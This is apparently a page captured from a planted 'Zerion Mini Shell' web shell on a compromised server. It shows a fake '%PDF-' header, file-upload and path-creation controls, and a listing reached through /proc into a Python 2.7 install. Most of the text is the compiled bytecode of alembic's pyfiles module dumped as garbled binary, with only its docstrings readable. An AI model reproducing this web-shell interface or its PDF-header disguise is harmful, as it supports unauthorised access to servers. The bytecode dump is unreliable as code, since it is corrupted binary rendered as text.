%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/alembic/util/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pyo

�
�M!Vc@s�ddlZddlZddlZddlmZmZddlmZd�Zd�Z	d�Z
d�Zd	�Zd
�Z
dS(i����Ni(tload_module_pytload_module_pyc(tTemplatecKsJt|d��5}td|�}|j|j|�j|��WdQXdS(Ntwbtfilename(topenRtwritetrender_unicodetencode(t
template_filetdesttoutput_encodingtkwtfttemplate((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pyttemplate_to_filescCsJtjj|�rFd|krFddl}|j|jd��}n|S(s�Interpret a filename as either a filesystem location or as a package
    resource.

    Names that are non absolute paths and contain a colon
    are interpreted as resources and coerced to a file location.

    t:i����N(tostpathtisabst
pkg_resourcestresource_filenametsplit(tfnameR((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pytcoerce_resource_to_filenamescCs tjjr|dS|dSdS(s6Given a python source path, return the so-called
    "sourceless" .pyc or .pyo path.

    This just a .pyc or .pyo file where the .py file would be.

    Even with PEP-3147, which normally puts .pyc/.pyo files in __pycache__,
    this use case remains supported as a so-called "sourceless module import".

    totcN(tsystflagstoptimize(R((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pytsimple_pyc_file_from_paths
cCs<ddl}t|d�}|r.|j|�St|�SdS(s�Given a python source path, locate the .pyc.

    See http://www.python.org/dev/peps/pep-3147/
                        #detecting-pep-3147-availability
        http://www.python.org/dev/peps/pep-3147/#file-extension-checks

    i����Ntget_tag(timpthasattrtcache_from_sourceR(RR thas3147((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pytpyc_file_from_path.s

cCsZddl}ddlm}y|j|�Wn&tk
rU}|d|f��nXdS(s*Given a source path, run the EDITOR for iti����Ni(tCommandErrorsError executing editor (%s)(teditortR%teditt	Exception(RR&R%texc((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pyR(>scCs�tjdd|�}tjj||�}tjj|�\}}|dkr�tjj|�rrt||�}q�tjjt|��r�t	|t|��}q�t
d|��n|dkr�t	||�}ntj|=|S(s3Load a file from the given path as a Python module.s\Wt_s.pysCan't find Python file %ss.pycs.pyo(s.pycs.pyo(
tretsubRRtjointsplitexttexistsRRRtImportErrorRtmodules(tdir_Rt	module_idRR+texttmodule((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pytload_python_fileIs
(RRR,tcompatRRt
mako.templateRRRRR$R(R7(((sE/opt/alt/python27/lib/python2.7/site-packages/alembic/util/pyfiles.pyt<module>s					

Zerion Mini Shell 1.0